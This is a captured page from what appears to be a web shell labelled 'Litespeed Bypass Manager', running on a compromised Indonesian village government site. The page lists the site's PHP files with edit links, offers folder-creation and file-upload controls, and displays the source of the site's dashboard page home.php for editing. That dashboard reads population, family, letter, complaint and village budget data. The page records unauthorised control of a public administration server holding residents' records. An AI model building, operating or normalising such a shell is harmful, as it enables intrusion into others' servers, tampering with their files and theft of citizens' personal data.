Litespeed kontol

Isi Folder

📁 TemplateFolder
📁 assetsFolder
📁 assets2Folder
📁 calenderFolder
📁 ckeditorFolder
📁 cssFolder
📁 datatablesFolder
📁 fontsFolder
📁 imagesFolder
📁 includesFolder
📁 jsFolder
📁 leafletFolder
📁 scriptsFolder
📁 spreadsheet-reader-masterFolder
📁 uploadsFolder
📁 vendorFolder
📄 aksi.phpEdit
📄 aksiGetPenduduk.phpEdit
📄 aksiGetPenduduk2.phpEdit
📄 apbdes.phpEdit
📄 artikel.phpEdit
📄 belanja_proses.phpEdit
📄 buat_surat.phpEdit
📄 buat_surat2.phpEdit
📄 cari_penduduk.phpEdit
📄 config.phpEdit
📄 daftar_proses.phpEdit
📄 data.phpEdit
📄 data_surat.phpEdit
📄 error_logEdit
📄 excel_reader.phpEdit
📄 exportexcelindividu.phpEdit
📄 exportexcelkeluarga.phpEdit
📄 exportxls.phpEdit
📄 functions.phpEdit
📄 hapus_artikel_proses.phpEdit
📄 hapus_legal_proses.phpEdit
📄 hapus_lembaga_proses.phpEdit
📄 hapus_profil_proses.phpEdit
📄 hapus_sig_proses.phpEdit
📄 hapus_surat.phpEdit
📄 hapus_user_proses.phpEdit
📄 hidden_aduan_proses.phpEdit
📄 hidden_profil_proses.phpEdit
📄 home.phpEdit
📄 importindividu.phpEdit
📄 importkeluarga.phpEdit
📄 index.phpEdit
📄 individu.phpEdit
📄 keluarga.phpEdit
📄 konfigurasi.phpEdit
📄 laporan_bulan.phpEdit
📄 legal.phpEdit
📄 lembaga.phpEdit
📄 lembaga_proses.phpEdit
📄 lembaga_ubah_proses.phpEdit
📄 logo_proses.phpEdit
📄 modal_detail.phpEdit
📄 modal_disposisi.phpEdit
📄 modal_selesai.phpEdit
📄 modal_tindaklanjut.phpEdit
📄 modal_ubah_anggaran.phpEdit
📄 modal_ubah_artikel.phpEdit
📄 modal_ubah_belanja.phpEdit
📄 modal_ubah_individu.phpEdit
📄 modal_ubah_keluarga.phpEdit
📄 modal_ubah_legal.phpEdit
📄 modal_ubah_lembaga.phpEdit
📄 modal_ubah_profil.phpEdit
📄 modal_ubah_realisasi.phpEdit
📄 modal_ubah_realisasibelanja.phpEdit
📄 modal_ubah_sig.phpEdit
📄 modal_ubah_user.phpEdit
📄 modal_view_individu.phpEdit
📄 modal_view_keluarga.phpEdit
📄 modal_view_mutasipenduduk.phpEdit
📄 modal_view_surat.phpEdit
📄 mutasi_penduduk.phpEdit
📄 notif.jsEdit
📄 notif.phpEdit
📄 notif_pengaduan.phpEdit
📄 notifikasi.phpEdit
📄 pemdes.phpEdit
📄 pendapatan_proses.phpEdit
📄 penduduk_keluar.phpEdit
📄 penduduk_masuk.phpEdit
📄 pengaduan.phpEdit
📄 profil.phpEdit
📄 profil_proses.phpEdit
📄 profil_ubah_proses.phpEdit
📄 proses_konfigurasi.phpEdit
📄 proses_penduduk_keluar.phpEdit
📄 proses_penduduk_masuk.phpEdit
📄 proses_upload.phpEdit
📄 regUser.phpEdit
📄 sig.phpEdit
📄 simpan_surat.phpEdit
📄 surat.phpEdit
📄 surat_aksi.phpEdit
📄 tambah_artikel_proses.phpEdit
📄 tambah_legal_proses.phpEdit
📄 tambah_sig_proses.phpEdit
📄 tampil_aduan_proses.phpEdit
📄 tampil_profil_proses.phpEdit
📄 template_surat.phpEdit
📄 template_surat2.phpEdit
📄 to_xls.phpEdit
📄 ubahDisposisi.phpEdit
📄 ubahPassword.phpEdit
📄 ubahSelesai.phpEdit
📄 ubahStatus_user_proses.phpEdit
📄 ubahTindakan.phpEdit
📄 ubah_artikel_proses.phpEdit
📄 ubah_belanja_proses.phpEdit
📄 ubah_individu_proses.phpEdit
📄 ubah_keluarga_proses.phpEdit
📄 ubah_legal_proses.phpEdit
📄 ubah_pendapatan_proses.phpEdit
📄 ubah_realisasi_proses.phpEdit
📄 ubah_realisasibelanja_proses.phpEdit
📄 ubah_sig_proses.phpEdit
📄 ubah_user_proses.phpEdit
📄 viewBottomProfil.phpEdit
📄 viewTopProfil.phpEdit
📄 viewapbdes.phpEdit
📄 viewartikel.phpEdit
📄 viewbelanja.phpEdit
📄 viewbpd.phpEdit
📄 viewer.phpEdit
📄 viewindividu.phpEdit
📄 viewkeluarga.phpEdit
📄 viewlegal.phpEdit
📄 viewlpmd.phpEdit
📄 viewmutasipenduduk.phpEdit
📄 viewpemdes.phpEdit
📄 viewrealisasi.phpEdit
📄 viewrealisasibelanja.phpEdit
📄 viewsig.phpEdit
📄 viewsuara.phpEdit
📄 viewsurat.phpEdit
📄 viewuser.phpEdit

Edit File: home.php

<?php session_start();

include_once '../librari/inc.koneksidb.php';
include_once "../librari/inc.librari.php";

$sql1   ="SELECT COUNT(*) AS jumlah FROM warga";
$query1 = mysql_query($sql1,$koneksiDbs) or die ("query salah !".mysql_error()); 
$get_jumlah_penduduk = mysql_fetch_array($query1);

$sql2   ="SELECT COUNT(*) AS jumlah FROM keluarga";
$query2 = mysql_query($sql2,$koneksiDbs) or die ("query salah !".mysql_error()); 
$get_jumlah_keluarga = mysql_fetch_array($query2);

$sql3   ="SELECT COUNT(*) AS jumlah FROM surat";
$query3 = mysql_query($sql3,$koneksiDbs) or die ("query salah !".mysql_error()); 
$get_jumlah_surat = mysql_fetch_array($query3);

$sql4   ="SELECT COUNT(*) AS jumlah FROM pengaduan";
$query4 = mysql_query($sql4,$koneksiDbs) or die ("query salah !".mysql_error()); 
$get_jumlah_pengaduan = mysql_fetch_array($query4);
?>

<section id="topic-header" >
								<div class="container-fluid">
									<div class="row">
										<div class="col-md-4">
											<h3><i class='fa fa-dashboard fa-fw'></i> Dashboard</h3>
											<p></p>
										</div>	
										<div class="col-md-8 hidden-xs">
											<ol class="breadcrumb pull-right">
												<li ><span style="color:#555"><i class='fa fa-user fa-fw'></i> <?php echo $_SESSION['username']; ?></span></li>
												
											</ol>
										</div> 
									</div>	
								</div>	
</section>
<section>
<div class="container-fluid" style="margin-top:30px;">
	<div class="row">
        <div>
          <div class="col-md-3">
            
            <div class="small-box bg-info">
              <div class="inner">
                <h3 class="counter"><?php echo $get_jumlah_penduduk['jumlah']; ?></h3>

<p>Jumlah Penduduk</p>
              </div>
              <div class="icon">
                <i class="fa fa-user-plus"></i>
              </div>
              <a href="#" class="small-box-footer">More info <i class="fa fa-arrow-circle-right" aria-hidden="true"></i></a>
            </div>
          </div>
          
          <div class="col-md-3">
            
            <div class="small-box bg-success">
              <div class="inner">
                
				<h3 class="counter2"><?php echo $get_jumlah_keluarga['jumlah']; ?></h3>
                <p>Jumlah Keluarga</p>
              </div>
              <div class="icon">
                <i class='fa fa-users fa-fw'></i>
              </div>
              <a href="#" class="small-box-footer">More info <i class="fa fa-arrow-circle-right" aria-hidden="true"></i></a>
            </div>
          </div>
          
          <div class="col-md-3">
            
            <div class="small-box bg-warning">
              <div class="inner">
                <h3 class="counter3"><?php echo $get_jumlah_surat['jumlah']; ?></h3>

<p>Layanan Surat</p>
              </div>
              <div class="icon">
                <i class="fa fa-envelope-square" aria-hidden="true"></i>
              </div>
              <a href="#" class="small-box-footer">More info <i class="fa fa-arrow-circle-right" aria-hidden="true"></i></a>
            </div>
          </div>
          
          <div class="col-md-3">
            
            <div class="small-box bg-danger">
              <div class="inner">
                <h3 class="counter4"><?php echo $get_jumlah_pengaduan['jumlah']; ?></h3>

<p>Pengaduan Warga</p>
              </div>
              <div class="icon">
                <i class="fa fa-bullhorn"></i>
              </div>
              <a href="#" class="small-box-footer">More info <i class="fa fa-arrow-circle-right" aria-hidden="true"></i></a>
            </div>
          </div>
          
        </div>
      </div>
</div>	
</section>
<script>
jQuery({ Counter: 0 }).animate({
  Counter: jQuery('.counter').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter').text(Math.ceil(this.Counter).toLocaleString('de'));
  }  
});
jQuery({ Counter2: 0 }).animate({
  Counter2: jQuery('.counter2').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter2').text(Math.ceil(this.Counter2).toLocaleString('de'));
  }  
});
jQuery({ Counter3: 0 }).animate({
  Counter3: jQuery('.counter3').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter3').text(Math.ceil(this.Counter3).toLocaleString('de'));
  }  
});
jQuery({ Counter4: 0 }).animate({
  Counter4: jQuery('.counter4').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter4').text(Math.ceil(this.Counter4).toLocaleString('de'));
  }  
});
jQuery({ Counter5: 0 }).animate({
  Counter5: jQuery('.counter5').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter5').text(Math.ceil(this.Counter5).toLocaleString('de'));
  }  
});
jQuery({ Counter6: 0 }).animate({
  Counter6: jQuery('.counter6').text()
}, {
  duration: 1500,
  easing: 'swing',
  step: function() {
    jQuery('.counter6').text(Math.ceil(this.Counter6).toLocaleString('de'));
  }  
});
</script>

<section id="catagorie" style="margin-bottom:40px;">
<?php
  include_once "../librari/inc.koneksidb.php";
  $tanggal = getdate();
  $tahunx = $tanggal['year']-1;
  $tahun = $tanggal['year'];

$sql = "SELECT * FROM anggaran where tahun='$tahunx'";
  $query = mysql_query($sql, $koneksiDbs) or die("Gagal query" . mysql_error());
  $data = mysql_fetch_array($query);
  $avgpad = ($data['r_pad'] / ($data['pad']+1)) * 100;
  $avgdd = ($data['r_dd'] / ($data['dd']+1)) * 100;
  $avgadd = ($data['r_add'] / ($data['a_dd']+1)) * 100;
  $avgbhpr = ($data['r_bhpr'] / ($data['bhpr']+1)) * 100;
  $avgbk = ($data['r_bk'] / ($data['bk']+1)) * 100;
  $avgbk_p = ($data['r_bk_propinsi'] / ($data['bk_propinsi']+1)) * 100;
  
  $sql2 = "SELECT * FROM anggaran where tahun='$tahun'";
  $query2 = mysql_query($sql2, $koneksiDbs) or die("Gagal query" . mysql_error());
  $data2 = mysql_fetch_array($query2);
  $avgpad2 = ($data2['r_pad'] / ($data2['pad']+1)) * 100;
  $avgdd2 = ($data2['r_dd'] / ($data2['dd']+1)) * 100;
  $avgadd2 = ($data2['r_add'] / ($data2['a_dd']+1)) * 100;
  $avgbhpr2 = ($data2['r_bhpr'] / ($data2['bhpr']+1)) * 100;
  $avgbk2 = ($data2['r_bk'] / ($data2['bk']+1)) * 100;
  $avgbk2_p = ($data2['r_bk_propinsi'] / ($data2['bk_propinsi']+1)) * 100;
  
  $get_jumlah_pendapatan= ($data2['pad'] + $data2['dd'] + $data2['a_dd'] + $data2['bhpr'] + $data2['bk'] + $data2['bk_propinsi']);
  
  $sql3 = "SELECT * FROM belanja where tahun_belanja='$tahun'";
  $query3 = mysql_query($sql3, $koneksiDbs) or die("Gagal query" . mysql_error());
  $data3 = mysql_fetch_array($query3);
  $avgp1 = ($data3['pemerintah_belanja'] / ($data3['pemerintah']+1)) * 100;
  $avgp2 = ($data3['pembangunan_belanja'] / ($data3['pembangunan']+1)) * 100;
  $avgp3 = ($data3['pembinaan_belanja'] / ($data3['pembangunan_belanja']+1)) * 100;
  $avgp4 = ($data3['pemberdayaan_belanja'] / ($data3['pemberdayaan']+1)) * 100;
  $avgbencana = ($data3['bencana_belanja'] / ($data3['bencana']+1)) * 100;
  $avgpenyertaan = ($data3['penyertaan_belanja'] / ($data3['penyertaan']+1)) * 100;
  //echo $tahun['year'];
  $get_jumlah_belanja= ($data3['pemerintah'] + $data3['pembangunan'] + $data3['pembinaan'] + $data3['pemberdayaan'] + $data3['bencana'] + $data3['penyertaan']);

?>
<div class="container-fluid" style="margin-top:40px;" >
<div class="row">
<div class="col-md-12">
<div class="row">

<div class="col-sm-6 col-md-6" style="margin-bottom:20px;">
							    <div class="thumbnail" style="box-shadow: 0 0 1px rgba(0, 0, 0, 0.125), 0 1px 3px rgba(0, 0, 0, 0.2);">
							    	<div class="alert alert-danger" style='text-align:center;'>
										<i class="fa fa-tasks" style='font-size:24px;'> <strong>Pendapatan Desa Tahun <?php echo $tahun; ?></strong></i>
											  <div class="inner" style='text-align:center;'>
												<strong><h3 class="counter5"><?php echo $get_jumlah_pendapatan; ?></h3></strong>
											  </div>
									</div>

<div class="caption">
      Pendapatan Asli Desa (PAD)<br>
      <?php echo "Rp " . number_format($data2['pad'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-dark progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgpad2 ?>%;">
        <?php echo number_format($avgpad2,2) ?> %
      </div>
    </div>
  </div>

<div class="caption">
      Pendapatan Dana Desa (DD)<br>
      <?php echo "Rp " . number_format($data2['dd'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-info progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgdd2 ?>%;">
        <strong><?php echo number_format ($avgdd2,2) ?> %</strong>
		</div>
    </div>
  </div>

<div class="caption">
      Pendapatan Alokasi Dana Desa (ADD)<br>
      <?php echo "Rp " . number_format($data2['a_dd'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-warning progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgadd2 ?>%;">
        <?php echo number_format ($avgadd2,2) ?> %
		</div>
    </div>
  </div>

<div class="caption">
      Pendapatan Bagi Hasil Pajak Retribusi (BHPR)</br>
      <?php echo "Rp " . number_format($data2['bhpr'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-danger progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgbhpr2 ?>%;">
        <?php echo number_format ($avgbhpr2,2) ?> %</strong>      
	  </div>
    </div>
  </div>

<div class="caption">
      Pendapatan Bantuan Keuangan (BK Kabupaten)<br />
      <?php echo "Rp " . number_format($data2['bk'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgbk2 ?>%;">
        <?php echo number_format ($avgbk2,2) ?> %
      </div>
    </div>
  </div>
  <div class="caption">
      Pendapatan Bantuan Keuangan (BK Propinsi)<br />
      <?php echo "Rp " . number_format($data2['bk_propinsi'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgbk2_p ?>%;">
        <?php echo number_format ($avgbk2_p,2) ?> %
      </div>
    </div>
  </div>
							      	<div class="caption">
							        	<p>Pendapatan adalah semua penerimaan Desa dalam 1 (satu) tahun anggaran yang menjadi hak Desa dan tidak perlu dikembalikan oleh Desa dan tertuang di Peraturan APBDesa atau Perubahan APBDesa..</p>
							        	
							      	</div>	
							    </div>	
						  	</div>	
						  	<div class="col-sm-6 col-md-6" style="margin-bottom:20px;">
							    <div class="thumbnail" style="box-shadow: 0 0 1px rgba(0, 0, 0, 0.125), 0 1px 3px rgba(0, 0, 0, 0.2);">
							    	<div class="alert alert-success" style='text-align:center;'>
										<i class="fa fa-tasks" style='font-size:24px;'> <strong>Belanja Desa Tahun <?php echo $tahun; ?></strong></i>
											  <div class="inner" style='text-align:center;'>
												<strong><h3 class="counter6"><?php echo $get_jumlah_belanja; ?></h3></strong>
											  </div>
									</div>
<div class="caption">
      Bidang Penyelenggara Pemerintahan<br>
      <?php echo "Rp " . number_format($data3['pemerintah'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-dark progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgp1 ?>%;">
        <?php echo number_format($avgp1,2) ?> %
      </div>
    </div>
  </div>

<div class="caption">
      Bidang Pembangunan Desa<br>
      <?php echo "Rp " . number_format($data3['pembangunan'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-info progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgp2 ?>%;">
        <strong><?php echo number_format ($avgp2,2) ?> %</strong>
		</div>
    </div>
  </div>

<div class="caption">
      Bidang Pembinaan Masyarakat<br>
      <?php echo "Rp " . number_format($data3['pembinaan'], 2, ',', '.'); ?>
    <div class="progress">
        <div class="progress-bar progress-bar-warning progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgp3 ?>%;">
        <?php echo number_format ($avgp3,2) ?> %
		</div>
    </div>
  </div>

<div class="caption">
      Bidang Pemberdayaan Masyarakat</br>
      <?php echo "Rp " . number_format($data3['pemberdayaan'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-success progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgp4 ?>%;">
        <?php echo number_format ($avgp4,2) ?> %</strong>      
	  </div>
    </div>
  </div>

<div class="caption">
      Bidang Penanggulangan Bencana<br />
      <?php echo "Rp " . number_format($data3['bencana'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-danger progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgbencana ?>%;">
        <?php echo number_format ($avgbencana,2) ?> %
      </div>
    </div>
  </div>
  <div class="caption">
      Penyertaan Modal BUM Desa<br />
      <?php echo "Rp " . number_format($data3['penyertaan'], 2, ',', '.'); ?>
      <div class="progress">
        <div class="progress-bar progress-bar-warning progress-bar-striped" role="progressbar" aria-valuenow="40" aria-valuemin="0" aria-valuemax="100" style="width:<?php echo $avgpenyertaan ?>%;">
        <?php echo number_format ($avgpenyertaan,2) ?> %
      </div>
    </div>
  </div>
							      	<div class="caption">
								        <p>Belanja adalah semua pengeluaran yang merupakan kewajiban Desa dalam 1 (satu) tahun anggaran yang tidak akan diterima kembali oleh Desa dan tertuang di Peraturan APBDesa atau Perubahan APBDesa..</p>
								        
								    </div>	
							    </div>	
						  	</div>	
						
</div>
</div>
</div>
</div>
</section>

Catatan: Mengedit file biner tidak disarankan.

Litespeed Bypass Manager

Buat Folder Baru

Upload File

Isi Folder

Edit File: home.php